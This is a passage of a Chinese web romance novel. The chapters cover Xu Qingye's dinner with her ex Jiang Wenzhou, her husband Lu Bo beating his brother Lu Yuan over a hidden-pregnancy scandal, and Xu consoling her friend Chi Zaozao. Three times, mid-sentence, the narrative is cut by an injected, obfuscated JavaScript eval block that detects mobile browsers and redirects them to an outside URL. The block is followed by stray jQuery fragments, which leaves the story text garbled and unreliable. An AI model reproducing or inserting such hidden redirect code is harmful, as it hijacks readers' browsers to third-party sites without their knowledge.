接下来她就可以专心忙自己的天气画册了。 说起来还要多亏了路薄那一问,她才更早想起这个很早之前就被搁置的想法。 想到路薄,心情又随之暗沉下来。 她迈步出了电梯,一抬头就看见了一个熟悉却不敢确认的背影。 “闻舟哥?” 许清也还没走到男人面前,站在一楼大厅中间的男人就转过身,朝她温柔地扬起一抹笑。 “小也。” 许清也走向他的过程中还惊讶地左右看了眼,有点不敢相信他怎么会出现在这里。 上次也是,他忽然出现在江城的医院,许清也因为尹虹的事太过震惊,都忽略了这一点。 “闻舟哥,你怎么来江城了?” 她也弯唇笑了。 现在见到江闻舟,许清也已经没有一年前那种尴尬了。反而就像见到一个许久未见的家人,取代尴尬的是一种淡淡的安心。 “两个月前就来了。” 江闻舟看她抱着一个大纸箱,顺手接过了她怀里的箱子。 “现在我已经调到江城刑警支队了。” 调到江城,那应该算是升职了。 “那是好消息呀。” 许清也为他高兴,想起上次自己卷入抄袭风波他发来的红包,朝门口商圈音乐餐吧的方向戳了戳。 “怎么不早告诉我,我这个东道主还没给你接风呢。” “走,请你吃饭。” 江闻舟的视线晃过手里敞口的纸箱。她给纸张折角的小习惯还跟大学时候一模一样,但眉宇间细小的神情和小动作都已经有了变化。 两年,好像江城的一切也变了不少。 “好。” 他没怎么推辞,有些到喉间的问题还是暂时咽了下去。 她已经结婚了,看样子过得还不错。 也许这是他跟她单独吃的最后一顿饭,江闻舟连假装的拒绝都开不了口。 中心大厦侧边的玻璃门是旋转门,许清也跟江闻舟进了玻璃隔间,玻璃门跟着步子慢慢转动。 厚厚的玻璃外,马路尽头忽然狂风大起。 两人高的大树被吹得树冠疯摇,落叶簌簌而下。 灰蒙蒙的天气里,许清也好像看见路薄推开车门,正直直朝大门的方向走来。 54. 资格 “小也?” 玻璃隔绝着包括风声以外的所有声音,许清也短暂顿住的脚步在小隔间里显得很明显,江闻舟一出生,她就很快从愣神中清醒。 “怎么了?” 江闻舟问完,顺着她的视线一抬头,就看见了大风中靠近的人影。 两人从旋转门里出了一楼大厅的大门,路薄正好在玻璃窗外站定。 许清也没抬头去看他的表情。 气氛有点冷凝,她下意识不想让江闻舟知道她跟路薄冷战的事情,先一步开口问道: “你怎么来了?” 然而她不自然遮掩的语气落在路薄眼里,都变成了冷漠反感的质问。 路薄垂眸看她,她身后的江闻舟抱着一个大纸箱,里面显然是她工位上剩下的杂物。 刚才隔着玻璃,他看见江闻舟接过了她手里的纸箱。 江闻舟的动作熟捻而自然,好像她身边本来就是他的位置。 “你…今天是特刊收尾了吗?” 想问的有很多,比如她为什么今天就搬走了所有的东西、江闻舟为什么会在这、他们接下来要去哪里…… 然而最该有立场问出问题的时候,他却感觉到一点怯懦的心虚。 好像从最开始,就是他一直在强势地抢走江闻舟在她身边的位置。 订婚宴那场是,这场婚姻也是。 “嗯。” 许清也没在乎他没做出的回答,点点头算作解释。 她没有抬头看路薄,所以也没有捕捉到男人眸中一闪而逝的失落。 “路先生,好久不见。” 短时间的沉默被江闻舟打破。 他是干刑警这一行的,观察力是最重要的能力之一。从路薄走进的时候起,他的目光就落在路薄时不时指尖趋向的风衣口袋。 看形状,大约是个小巧的盒子。 欲言又止,也许是什么惊喜的礼物。 单单简短的联想,他竟然觉得刺眼。江闻舟自嘲地一笑,看来他还是高估了自己能完全做到“放下”二字。 对于他礼貌的招呼,路薄也敷衍地点头道: “江先生,好久不见。” 许清也没有给他介绍过,他却早在两年前就知道江闻舟这个名字了。 两男一女僵持地站在大厦门口。 下班的点,这里人来人往,加上三个人的外貌都称得上出众,便更加吸引人眼球。 虽然许清也什么也没说,但江闻舟的余光早就看出她面对路薄的躲闪和纠结。她身侧的指尖捏在一块无意识地摩梭,这种变扭的忐忑他也曾经见过。 江闻舟眸光一暗,最后一次任由嫉妒心左右理智。 “我跟小也正要去吃饭,路先生来的巧,要不要一起?” 话很体面,用词却巧妙地把路薄排除在两人外。 路薄从始至终只看着许清也。 闻言,视线更是紧盯着她的眸,试探地想要从中找出她的意见。 说实话,许清也下意识想要拒绝。 三个人吃饭,以目前的气氛怎么看怎么尴尬。她还没忘记自己跟路薄正在冷战中,也不想借这个机会就这样跟他莫名其妙的和好。 视线擦着他凌厉的下颌线条来到男人高挺的鼻,再往上就是他那双幽深的眸。许清也感觉到他一刻不移的目光,心跳一颤,目光没有再向上。 她出口拒绝的话,总觉得他也许会很难堪。 “不必了。” 好在不必她来说,路薄先一步出口拒绝了。 许清也松了口气,抬头看他的时候视线不期落入他低沉的眉眼。 路薄的唇色原本就偏淡,此刻更显得没有多少血色的样子。 她有点跳跃地想,不知道他是不是今天又没有好好吃早饭。 “不打扰二位,我先回家了。” 他话说的多余,话落就强势地接过江闻舟手里的纸盒,利落地转身离开。 在场二人都听懂了他的言下之意,各有各的心绪。 路薄是在说: ——他先回家等她。 许清也有点愧疚地垂眸,视线跟随着他被狂风卷起的风衣衣角,很快整理好情绪,转头道: “我们走吧?” 江闻舟点了点头,在许清也转回头的一瞬间收起了强撑的笑意。 在路薄一个“家”字的对比之下,他那些看似赢了的小心思都显得可笑起来。 真正的胜者看起来对这些还毫无所觉。 …… 中心大厦旁边的这家音乐餐吧环境不错,菜品也很合许清也的口味。 在杂志社工作的这几年里,她可以说是这里的常客。 前不久来这里的时候还在为了证明自己的清白而费心谈判求证,今天却已经离开当时极力想要留下的杂志社了。 再看着面前熟悉的半桌菜品,许清也忍不住有点恍惚。 服务员把主食的餐碟端了上来,她把意面推到桌对面道: “这里的奶油意面味道不错,你尝尝。” 大学几年,江闻舟因为不爱吃牛排,偶尔陪许清也去西餐厅吃饭,几乎点的都是奶油意面。 目光落在眼前奶香浓郁的意面上,他拿起叉子尝了一口,笑着赞许味道不错。 她还记得他爱吃奶油意面。 江闻舟一点也不意外,因为他认识的许清也就是这么一个体贴周到的女孩。 她总是花大把的时间努力去赢得别人一点惊喜的赞许,看来直到现在也不例外。 听他说好吃,许清也一双鹿眼中闪烁的碎光也跟着亮起来,愉悦地撑着脸看他大口吃着意面的动作。看江闻舟吃了一阵,才慢慢开口。 “闻舟哥你每次都说好吃,就算不好吃,我挑了,你也还是硬撑着吃完。” 她想起过去的小事,对面的江闻舟动作急不可察地一顿,还是继续吃着面。 “如果是路薄,他肯定尝一口就不肯吃了。” 似乎脑子里已经能想象出路薄皱着眉放下刀叉的样子,许清也眸中的笑意更深。 “他这人挑食,说话还特别难听。” 江闻舟终于忍不住停下动作看她。 许清也切着铁板上冒着兹拉声的牛排,抬眼对上他的视线,好像不经意提及地问道: “对了闻舟哥,我结婚了。” “跟路薄。” 许清也没移开视线,当然也没有错过江闻舟只是轻泛波澜的双眸。 她果然听出来他刚才话里的私心了。 江闻舟终于死心地抛掉了最后一点侥幸。他听得出来,许清也已经看出来他知道了她结婚的消息。 而她这句话,正是在告诉他: ——她过的很好。 气氛落冷。 许清也切完了牛排,放下刀的时候,冰冷的刀具在餐盘边缘敲下微弱清脆的响声。 声音像是一记响钟,敲醒了留在原地的江闻舟。 “对不起。” 江闻舟发自内心的道歉,这里面既有真诚的抱歉,也藏着他不愿意显露出来的悔恨。 “小也,两年前的事,是我对不起。” 许清也没想到他会突然为这件事道歉。 两年前他们还是恋人,他在丰城的刑警工作很忙碌,她也还在辛苦的坚持插画师的工作。 尹女士大闹了一场,最后逼着她做选择。 要么答应联姻,要么回许氏工作。 毕业的时候尹女士一样不同意她的工作,哪怕她依旧拿生命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144907|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威胁,许清也也不觉得这次自己会撑不下去。 可她没想到,先撑不下去的不是她,而是江闻舟。 那天她定了餐厅,想要跟他庆祝她主编美术板块的第一刊定稿。等来的却是江闻舟分手的短讯。 满心欢喜等来男友劝她答应联姻的短讯,说她不难过那是假的。 不过一年前她知道了江闻舟是被尹女士拿恩情要挟,从那时候起,她早就原谅了他。 “都过去了。” “我早就原谅你了。” 许清也坦荡地回答。 毕竟要恨他太难。 第一次遇见江闻舟是大二那年的寒假。 尹女士第一次动真格站在了楼顶,她颤抖着声音报了警。许清也记得那天就连警局的玻璃门也像露着风,总之她坐在长椅上等着做笔录,身体冻得不受控制地微弱颤抖。 她零星听见有值班的民警议论她太狠心,整整快一年里对母亲不闻不问,直到尹女士闹到寻死,才肯回家。 没力气反驳,却听见一道年轻阳光的男生辩驳道: “还不知道事情全貌,这么说不太合适吧?” 从那天起,这个男孩认识了她,渐渐知道了事情的全貌。 大学后来的那几年,尹女士还是不止一次地闹过,她濒临崩溃的好几个瞬间,都是江闻舟陪着她,告诉她都会过去的。 今天她把这句话还给他。 “所以不要说对不起了。” 许清也目光温柔地笑了。 在她心里,江闻舟是亲人一样的存在。 作为恋人,他的行为在她心里是不合格。但作为亲人,他陪伴了她人生最难熬的许多年。 亲人不都这样吗,互相支撑过,即使犯错,最后也都会被原谅和理解的。 “嗯。” 江闻舟强撑着笑意点了点头,低头掩住眸中的失落。 窗外阴云暗沉,风好像更大了,像是随时都要落下雨来。 许清也随意一瞥眼,手机锁屏上自动推送的消息却抓住了她的眼球。 ——“路远疑隐婚,低调现身母婴店” 她抿唇点打开热搜页,词条的热度不断攀升,居然已经逼近榜首。 许清也点开狗仔所谓的真相图。 图片里的路远背着的女人穿着一件熟悉的呢子大衣,身形跟迟枣枣像了八成。 想起这段时间以来迟枣枣反常的一系列表现,许清也脸色一变,迅速拨通迟枣枣的电话。 电话那头甚至连嘟声都没有。 迟枣枣直接关了机。 “对不起闻舟哥,我现在突然有点急事。” 许清也翻动着不断弹出来的实时消息,满屏负面的评论让她的心不断地跟着下沉。实在担心不过,她蹙眉抱歉地道: “账我已经结了,可能要先走了。” 看出来她坐立不安的情绪,江闻舟苦涩地应答她: “去吧。” “不是你说的吗?” “亲人之间,不用说对不起。” 许清也起身的动作微怔,挥手推门出了餐厅。 终于彻底暗下的天空已经分不清乌云的踪影,两声干雷后,簌簌落下大颗的雨点来。 江闻舟隔着玻璃窗望着忽然倾盆而至的暴雨,抓起外套冲到餐吧门口。 女孩单薄的身影隐在模糊的雨中,她刚刚跑出去,距离餐吧门口并不远。但江闻舟却忽然顿住了脚步,只是站在原地看着她渐渐跑远的身影。 他慢了一步,也错过了资格。 雨雾片刻散了。 女孩双手护着头顶,朝远处跑去。 而她直线的面前,男人撑着一把墨绿色的长柄伞,长身伫立,正快步朝着她的方向走去。 55. 血痕 许清也没预料过会在餐吧门口看到他。 细密的雨点劈头盖脸地砸下来,毫不留情地打湿了她肩膀边大片的衣料。 虽然意外,雨势却没有给她反应的机会。 许清也捂着发顶往男人的方向跑去。 “路薄!” “你怎么……你没回家吗?” 她语气是星星点点的惊喜,本想问他怎么会在这,中途又改了说辞。 路薄从许清也迈出餐吧大门的那一刻就看见了她单薄瘦削的身影。他迈开长腿,加快脚步赶到她身边,雨点却还是淋湿了她的肩膀。 “下雨了。” 男人手中的长柄伞悄声倾斜,语气平淡地像是在叙述一件再理所当然不过的事。 “你没带伞,我来接你回家。” 墨绿色的伞布遮住密密实实的雨点,雨滴从伞顶坠落,跳跃间发出微弱的声音。 许清也低头从他的臂弯下钻过,自然地往他怀里躲了躲。 男人宽厚的胸膛抵在背后,撑伞的手变成了半环住她的样子,许清也躲在他怀里,稳稳地躲在伞下。 下雨天她当然也不会再矫情。 路薄短暂地滞了一瞬,许清也步子着急地往车边走,他也很快提步跟上。 车门刚合上,许清也就皱着眉开口道: “能不能先送我去一趟枣枣家。” 路薄像是没料到她忽然说起这个,偏头挑眉。 “枣枣不接电话,我有点担心她。” 想起热搜的事情,许清也补充地问: “对了,你看了热搜没,路远他……” 她话还没说完,路薄就已经点开了词条。 他脸色平静地划着词条下的发言,只有眉心的折皱泄露着他变化的心绪。词条下的“知情者”约扒越多,如果说许清也刚才还是凭借着对迟枣枣的了解从模糊的照片里认出了她,那么现在的证据几乎条条指向她。 就连迟枣枣用来剪辑安利食品的某站账号也被扒的一干二净。 许清也凑到驾驶座边,越看越是担心。 如果狗仔拍到的都属实,枣枣这段日子推辞忙碌没有跟她见过面,恐怕都是再独自整理这个意料之外来临的孩子。 路远的女友粉不在少数,本来就是偶像派的演员,曝光恋情的同时还疑似隐婚和妻子怀孕,当然引起了粉丝中间不小的震动,再加上浑水摸鱼的营销号…… 照现在的架势,都快人肉到迟枣枣的住址了。 路薄暗灭了手机,径直发动汽车往迟枣枣家的方向开去。 上次去酒吧接许清也的时候也送过迟枣枣回家,路薄知道她家的地址,那里离中央大厦不远,两人很快就到了迟枣枣家楼下。 车刚一停稳,许清也立刻拉开车门下车。 手腕被男人滚烫的掌心握住,她顺着力道回头看,路薄把长柄伞递给她,低沉的声音带着安抚的意思: “把伞拿着。” 许清也懊恼地接住伞,原本心急如焚的心情因为他莫名安定人心的声音平静些许。 回味过意思,她抵着车门大声问: “你不一起下车吗?” 雨势滂沱,雨点的声音把她加大的声音也变得模糊起来。 路薄点头,也提高声量: “快去吧,我去大概不方便。” “还有别的地方等着我去一趟。” 许清也忽然想起来他说的地方,大概是路远那边。 基于迁怒的情绪,她砰地一声关上车门,撑伞跑进了单元门。 车窗内的男人目光追随着她消失在单元门的身影,目光深沉地停留许久,才关紧副驾的车窗,再次发动越野车。 …… “祖宗哎,这边已经热搜第一了!” “按是按不下去了,你好歹挑一个公关方案吧?” 阿哲搓着巴掌在酒店套房的落地窗边来来回回地转圈。 而一旁的酒店大床上散落着几本不同颜色文件夹分类好的公关方案。 路远穿着低调的连帽卫衣,缩在角落的沙发上灌着啤酒,粉丝眼里的阳光男神此刻眼下乌青得吓人,整个人散发着一股浓浓的颓废气息, 与他这副落魄文青的样子气质不符的是,他身旁的单人沙发上还挂着两个粉嫩的塑料袋。 里面满满当当地装着他逛母婴店的战利品。 “我已经挑好了。” 他捏扁手里的最后一瓶罐装啤酒,在身边的红色塑料袋里扒拉半晌,赌气地把易拉罐砸到茶几另一边的垃圾桶里。 方向偏了一点,易拉罐翻滚打转,最后停在地毯边缘。 “祖宗,我喊你哥。” “你要公开也得是真的才行啊,哪有分手了公开恋情的啊?” 阿哲的话刺激着路远的神经,他阴恻恻地目光瞄准窗边的人,冷冷问: “你说谁是假的?” …… 阿哲一阵无语,不知道该怎么跟醉了的少爷讲道理。 迟小姐刚刚已经给他发消息了,人家说他们本来就算不上是情侣,顶多只是一段乌龙,她不会配合官宣的公关的。 再说了人家都已经全方位拉黑了沙发上那位少爷了,就连想说人家是拿乔都站不住脚。 “我跟枣枣没分手,我们要结婚的。” 路远直起靠在沙发靠背上的身体,伸手去够那袋小衣服。 “我连办婚礼的酒店都看好了,衣服……孩子的小衣服都挑好了。” 阿哲也不清楚具体内情,只知道某天路远忽然蹦出一句他要结婚,然后就开始各种挑请柬挑酒店,甚至开始逛起婚纱店母婴店。 实在看不过去多了句嘴,路远支支吾吾一阵,冷不丁语气炫耀地道: “阿哲,我要当爸爸了。” 路远也没想瞒着身边的人,这段时间大家也都知道了迟枣枣的存在。 迟枣枣性格可爱,外向又礼貌,他身边的工作人员都挺喜欢她的,还有磕上他们cp的。 谁知道今天凌晨这个话题就莫名发酵热度,直到刚刚,压也压不住,直接等了顶。 隐婚传言甚嚣尘上,这俩人偏偏断崖式分手了。 阿哲隐隐听出来迟枣枣的意思,是说她现在根本不是怀孕的状态了。 就说让路远少逛点母婴店了。 常在河边走,就算武装得再严实,哪有不湿鞋的。 阿哲无奈地捂脸,叹了口气,收拾着几份公关颓废地坐在床边。 “算了,不公关就不公关吧。” 他撇了一眼角落毫无动静的路远,彻底感觉到一阵失望,丧气道: “反正阿远你家底厚,大不了不混演艺圈了,回去继承家业去。” “这次估计也是你对家晏炽的团队搞的事,他们团队年初老早就来挖我了,估计是早有预谋,借题发挥而已。” “大不了我跳槽就是了。” 该说的故意说的全都说完了,抱着粉嫩塑料袋坐在沙发上的人还是毫无动静。 泥人做到这份上也该有脾气了,阿哲把资料往床上狠狠一甩,恨铁不成钢地往套房门口走。 正要狠狠甩门,一道更强硬的力气忽然挡住了门。 “路大少,你可算来了……” 他忍不住带点嘲讽意思地喊路薄路大少,说到后来,还是忍不住叹口气,才松手离开。 路远松开扶着门边的大手,进了套房。 酒气满屋子都是,他一进门,就看见了靠在沙发上发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151565|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆的小子。 “喀嚓——” 路薄踩着地毯边的易拉罐而过,空瘪的易拉罐发出尖锐刺耳的挤压声,被他踢到路远面前小块空旷的地上。 “起来。” 沙发上的人一动不动,充耳不闻。 “我不会说第二遍。” 路薄紧锁的眉心反而慢慢松开,一把拽开路远手里的粉色购物袋。 然而扣着卫衣帽子的男孩缩在沙发边,就像个随人摆弄的烂醉人一样,毫无反应。 既不回答,也不反抗。 那反而好办了。 路薄慢条斯理地解开了衬衫的袖扣,半挽起衬衫袖子,露出结实流畅的小臂线条。 拳风利落地划过。 “嘶——” 成年男人结实的拳头落在路远脸上,他被揪着领子从沙发上坐起来挨揍的时候,酒精还没完全蒸发掉理智,吃痛地嘶了一声。 “哥,你疯了?” 路远终于有了反应,捂着很快有红肿趋势的侧脸,提高声音问。 “这一拳是为你看不清别人的事就随意编排。” 路薄冷笑出声。 想起那条导致他哥消沉近半月的短讯,路远心虚地被浇灭了才激起来的怒火,又恢复了那副路薄不拎着他就要死狗一样滑回沙发的颓废样子。 “嘶——” 又一拳落在同样一边脸上。 路远怎么说也是靠脸吃饭的,接连两拳头朝着脸来,嘴角都渗出血迹,算是从尊严和现实上同时激怒了他。 “路薄你这个疯子!” 他难掩饰怒意地甩开路薄捏着他领子的手,反身一拳擦着路薄的嘴角而过。 被甩开手的路薄满不在乎地挑眉,来回拍着手像是拭去什么脏东西。 嘴角被路远卫衣上的铆钉划破,他修长的指尖擦过嘴角渗出的血痕,淡淡吐字道: “这一拳是为你看不清自己的感情。” 终究是血脉压制的亲哥,路薄一句话定住了将将要发怒的人。 看到路远嘴角浅浅的血痕,路远泄气地坐回了原地。 “惹出这么大的事,砸了这么多人的饭碗,你就只想着逃避?” 路薄瞥见床上床边散落的几本文件方案,一本本捡了起来翻看。 “我没……”路远下意识否认,目光触及他手里的公关方案,颓废地闭上了嘴。 “没?” “那你现在是打算怎么解决?” 路薄动作优雅地扣回了袖扣,看来是没有再揍人的打算。 “冷处理?还是打算回家帮老路打理家产?”他冷漠的声音里满是嘲讽。 “我会公开。” 路远抬头,目光里的酒意彻底消散,取而代之的是不可撼动的坚定。 “我会公开跟枣枣的事,会跟她结婚。” 一阵短促的铃声打断了两人的谈话。 路薄低头按掉了视讯请求,转为语音,站到落地窗前接了电话。 这通电话并没有持续多久时间,许清也本来想借着视讯知道路远现在的住址。 迟枣枣半天才把话说全乎,她既心疼又生气,电话里的声音还有点恨屋及乌的迁怒,语气不太客气。 许清也的打算是瞒着迟枣枣杀过去教训人,但路薄的声音不太自然。 他说会好好处理,她也就将信将疑地打算信他一回。 挂掉了电话,路薄拎着文件夹甩到茶几上。 目光重新挪回沙发上不让人省心的小子身上。 “你嫂子来电话了,心情不太好。” 路远莫名地抬头,只看到他哥重新挽起袖子的动作。 “总感觉少揍你一拳。” “果然是忘在这了。” 56. 日记本 “迟枣枣,我们是最好的朋友吧?” 许清也靠在迟枣枣床边,按掉她手机里的悲情音乐,一本正经地问。 熟悉又老土的开场,迟枣枣基本能猜到她下一句话是什么了。尽管一脑门钻进被窝里,还是逃不掉许清也思路清晰的质问。 “最好的朋友,至少应该简单告诉我前应后果吧?” 其实许清也大概也能猜得出点什么,毕竟迟枣枣的性格就不是个瞒得住事的人。像个漏勺一样露出来的信息点,足够她零零碎碎拼凑出大致的由来。 要她说出来,只是不想她一个人承受。 “枣枣,我承受那些恶意的时候,并不是一个人。” 许清也放弃了扒拉她被子的动作。 “所以这次我也想陪着你。” “被挡住的恶意,大概也会好承受一点?” 她不知道迟枣枣现在心里对路远到底是什么态度,但基于自己的经历,网暴并不是一件能轻易说服自己不去在意的事情。 窝在被子里的迟枣枣也停了抵抗的动作。 指尖触及自己温热的小腹,迟枣枣到现在也不知道这个乌龙对她来说留下了什么。 可如果再选一次,即使明知结果,她大概还是会愿意重新经历一遍。 从傍晚到夜幕沉沉,许清也坐在窗边陪迟枣枣一块看她们刚工作的时候最爱看的老电影。 就像闲聊一样,一点点随意地把彼此隐瞒的事情都说出来。 迟枣枣跟路远的故事说狗血也狗血,但终究不是偶像剧。 先走肾再走爱的故事还没发展到两情相悦,先出了意外怀孕这档子事。 迟枣枣长在一个幸福温馨的标准洗衣粉家庭,她舍不得孩子,但更希望孩子能出生在一个健康和准备充分的家庭。 于是她开诚布公地跟路远谈了。 原本打算分手,还没进入说这一步的环节,路远却出乎她意料地谈了结婚。 神差鬼使地,望着他那张曾经只能在银幕后看见的脸,迟枣枣点了点头。 后来他惊喜地约她去偶然提过的餐厅吃饭,也会牵着她的手偷偷在街头漫步,甚至非要拉着她一块去逛母婴店。 路远的改变大得简直不像他。 曾经在综艺里表明丁克想法的人,如今也会望着母婴店里的小袜子傻笑,抱着手机给她挑一整晚孕晚期也能穿的漂亮衣服。 迟枣枣原本以为日子就这么慢慢的过下去也不错。 说不定等两个月后告诉许清也,她还得震惊一下自己的弯道超车。 “我唯一没想到的是,验孕棒出了问题。” 迟枣枣抱着薯片,单手灌了一口冰镇鸡尾酒。 “乌龙一件,我根本没怀孕。” “谁知道撞上这时候出热搜。” 她自嘲地笑着,又转头专注地把注意力放回频幕上的老电影。 许清也安静地听她有一搭没一搭地讲完,从她手里的那袋薯片里抢了两片,忽然简短直接地问: “你还喜欢他吗?” 迟枣枣愣了几秒,垂眸曲解道: “早就不喜欢了,粉他那都是早八百年前的事情了,你不是都知道的吗。” 大学那会迟枣枣还粉过刚出道不久的路远,后来因为他没接某个迟枣枣很喜欢的导演的新戏,两爱相权取其轻,迟枣枣转头粉上了路远的对头,还成了他的黑粉。 不过当年她忽然的脱粉,许清也一直觉得好像没这么简单。 许清也当然没打算允许她这样模糊地糊弄过去,追问: “你知道我说的不是这种喜欢。” “现在还喜欢吗?” 她直截了当地问。 迟枣枣没法再闪躲。 电影里的爵士配乐在空荡的家里回荡,酿成一种比她手里的青桔酒更酸涩的味道。 “喜欢。” 迟枣枣自嘲地点了点头,接着又若无其事地专注看起电影。 许清也借口上厕所,在阳台边拨通了路薄的电话。 怒火上头又渐渐平息下来,也觉得脑子里冲动的做法有点不理智里,许清也最后还是信了路薄会好好处理,叹了口气打算挂断电话。 她一侧头,迟枣枣裹着棉袄蹭在她脑后,差一点点就偷看到了许清也电话显示的备注 “啧啧。” 迟枣枣发出酸不拉几的啧啧声,声讨道: “当着刚失恋的人的面,不太合适吧?” 玩笑开完,她也严肃了神色问许清也: “这是和好了?” 许清也老实点了点头。 “这家伙不是为了报复你才同意结婚的吗?你就这么原谅他了?” “好像……是个误会。” 她嘴笨地为他辩解。 迟枣枣自己的事情算是乱成了一锅粥,也没工夫一一盘问了,只是语重心长地叹道: “我也不多掺和了。” “总之,别让自己受伤就行了。” 许清也点了点头,伸手隔着臃肿的大棉袄抱住了她。 不管什么时候,迟枣枣总是跟她说,别受伤就好了。但她其实才是那个更让人担心的,总是傻乎乎地飞蛾扑火。 “对了,那路薄呢?” 迟枣枣忽然从拥抱中探出脑袋,眉心紧缩,看起来还有点担心她干出什么不道德的事。 看许清也一幅支支吾吾难言的样子,迟枣枣想起路薄在盐湖山背着她一副紧张地样子,太阳穴有点不安地跳起来。 “你不会真出轨了吧?” 她有点想不出许清也这种一板一眼依靠理智生活的人,怎么会做出出轨这种事。 “当然不是!” 这点许清也倒是立刻反驳了。 “那就行。” 迟枣枣摆着手道: “就路远那个死样,一个娘胎里的亲哥哥能好到哪去?趁早断了的好。” 话说到这个份上,想起其中尴尬的关系,许清也这坦白的话是彻底说不出口了。 只能默默地点头表示赞同。 “好了,时间不早了,你赶紧回去吧。” “路上小心安全。” 电影结束,滚幕还没播放完,迟枣枣一兜子把茶几上狼藉的零食粗暴地收拾完。进行了夜间赶客活动。 “枣枣,要不我今晚在这睡吧,好不好?” 许清也偷瞄她的脸色,虽然迟枣枣一副都过去了的豪迈,但她还是有点不放心。 怕她晚上一个人在被子里偷偷掉小珍珠。 “别了,还是回去陪您家那位吧。” 迟枣枣立即严词拒绝。 看得出来她眉宇间有点疲惫,许清也一步三回头地犹豫了半天,最后被迟枣枣直接推出了家门。 下楼的时候路薄发短讯问她要不要过来接她回家,她直接拒绝了。 总感觉现在见到他会忍不住迁怒的心。 然而她刚走到楼下,就看到男人靠在车边高大挺拔身影。 “不是说不用了嘛。” 许清也嘴上抱怨,实际上心里还是小小地背叛好友雀跃了一下。 这种随时随刻有人等的感觉,的确还挺好的。 想起那天路薄喝醉了还念叨的事,许清也勉为其难地想: 大不了她下次也多等等他好了。 还没等她小跑到他面前,路薄先一步绕过车身上了车。 许清也唇角的弧度顿住,马上消失的无影无踪。 他这感人的情商…… 果然让人感动不过三秒。 她用了拉了几下副驾,路薄才打开车门锁。 许清也本来很想知道路远的现况,也想知道他去找路远做了什么,但瞥一眼他那个三棍子打不出一句话的冷脸,就懒得开口。 一直到车在目的地停下,路薄下车去拿后座上的纸箱子,许清也站在楼梯口等他,后知后觉的察觉到一点不对劲。 果然,抱着箱子坐电梯的全过程,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164456|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有意地用半边身子对着她。 许清也先一步出了电梯,路薄就侧过脸赶紧跟出来。 好像打定主意只让她看右脸。 抓住他找钥匙开房门的机会,许清也悄悄绕到他左边,仔细打量他的左脸。 “进去吧。” 房门打开,路薄微微朝右侧过脸,才发现人已经不在原地,而是站在他左后侧的方向皱着眉看着他。 “你去打架了。” 这是明摆着的事实,许清也没用疑问的语气。 她忍不住皱眉去看他唇角一条指甲盖长短的血痕,其实很细小,但她看起来还是有点心疼。 伤口周围好像也微弱地有点肿,许清也想伸手去碰,指尖还没碰到他的唇角,就被路薄侧头避过。 “先进去吧。” 他好像有点不习惯在门口停留太久,眼神不由自主地往家里飘去。 芝士不知道窝在哪玩的不亦乐乎,压根没有出来看一眼它窘迫的主人的自觉。 许清也没能检查到伤口,不乐意地捏着他的下巴把男人那张俊脸强制性地掰过来。 “打输了?” 她踮着脚凑近查看路薄整张脸。 高眉深目,优越的脸部线条依旧,看起来没有其他红肿。 无意中对上他深邃的目光,想撇开眼,高挺的鼻侧藏着颗性感的小痣,莫名给他矜贵疏离的气质添了点邪气。 没有其他地方受伤就好。 许清也觉得呼吸有点乱,拍拍手先一步进了家门。 这次轮到她身后的男人伫在原地,眸光幽暗地回想着女孩刚才那句话。 输了? 她难道认为他跟人打架会输吗? 莫名其妙的好胜心一旦起来,就有点无法抑制地想要得到答案。 他带上门,一进门却看见许清也像只蝴蝶般在家里四处“翻飞”的样子。 “找什么?” 路薄放下纸箱,挽着袖子打算帮她一块找。 “找碘伏和创可贴。” 许清也头也没抬地在玄关的柜子里翻找起来。 路薄沉默两秒,摸了把终于肯出来的芝士柔软的后颈道: “在书房里,第二格抽屉。” 许清也找东西的动作一顿,顺着他的话望向紧关着门的书房。 其实刚才他出声的时候,她已经想起来好像她的纸箱子里也有碘伏和创可贴。 但搬到楼下这么久,她还没有进过一次路薄的书房。 一开始是因为觉得不礼貌,看他房门一直紧闭,虽然不知道上没上锁,许清也还是克制住了自己的好奇心。 后来两人又冷战闹别扭,她要是主动提出要去书房看看,那岂不是落了下风? 于是参观书房的计划暂时搁置。 直到刚才—— 许清也直起腰的时候用余光撇了一眼男人的表情。 毫无表情。 看上去应该是默许她进去的样子。 说实话她真的好奇。于是在就近和顺势中间犹豫两秒,许清也最后还是朝书房走去。 路薄不知道她心里这几番复杂的心里活动,只是看到她一进门就着急找东西给他处理伤口的样子,心情莫名愉悦起来。 其实他根本没有过不让许清也看书房的意思。 他只是一向比较注重隐私,又怕芝士捣乱,所以不用书房的时候习惯把门给关上,出远门的时候还会上锁。 路薄扯松领带,单手解开衬衫顶端的几颗扣子,随意靠在沙发上,偏头视线追随着许清也消失在房门口的身影。 